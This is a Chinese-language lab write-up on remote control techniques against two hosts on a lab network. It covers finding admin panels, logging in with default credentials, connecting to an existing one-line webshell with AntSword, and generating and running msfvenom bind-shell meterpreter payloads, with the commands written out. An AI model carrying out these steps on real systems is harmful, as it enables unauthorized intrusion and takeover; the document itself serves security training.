跳到主要内容

实验三--远程控制技术

实验目的​

1、学会使用主流的远控软件,比如msf.学会使用webshell管理工具对一句话木马进行连接.

实验任务​

1、进入web系统后台后写入一句话木马,然后用中国蚁剑进行连接

2、用中国蚁剑进行连接后,使用msf进行远控

实验步骤​

广诚在线视频 10.100.0.99​

御剑扫描，发现敏感文件

image-20240714194140257

使用浏览器打开是乱码的，火狐自带修复工具，修复后即可找到管理页面和登录的账号密码

image-20240714194153388

登录后台后，点击工具à模板管理àdefaultàHome，编辑index.tpl，在这里应该是要自己加上一句话木马的，但是环境是公共环境，已经有人添加了进去，所以我们是可以直接利用的

image-20240714194158919

连接成功

image-20240714194223962

生成msf正向马

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=12345 -f elf > linuxshell27

image-20240714194237714

然后使用蚁剑上传木马

image-20240714194245731

启用蚁剑的虚拟终端，然后运行木马

image-20240714194215936

在攻击机上启用msf去连接木马，但是不是root权限

image-20240714194314505

广诚小学 10.100.0.49​

登录网站，发现有一个administrator用户名，扫描目录找到后台登录

image-20240714194323866

使用dirsearch找到后台登录地址

image-20240714194328076

使用administrator/ administrator登录，然后再专题管理中对最下面的专题进行编辑

image-20240714194332109

进入编辑页面看到已有马，所以直接，使用蚁剑进行连接

image-20240714194335791

蚁剑连接成功

image-20240714194339615

根据目录结构判断是Windows环境

image-20240714194344535

使用msf生成Windows的正向木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=12345 -f exe -o flash27.exe

image-20240714194348490

利用蚁剑上传

image-20240714194352291

然后运行木马

image-20240714194400586

msf进行监听

image-20240714194406423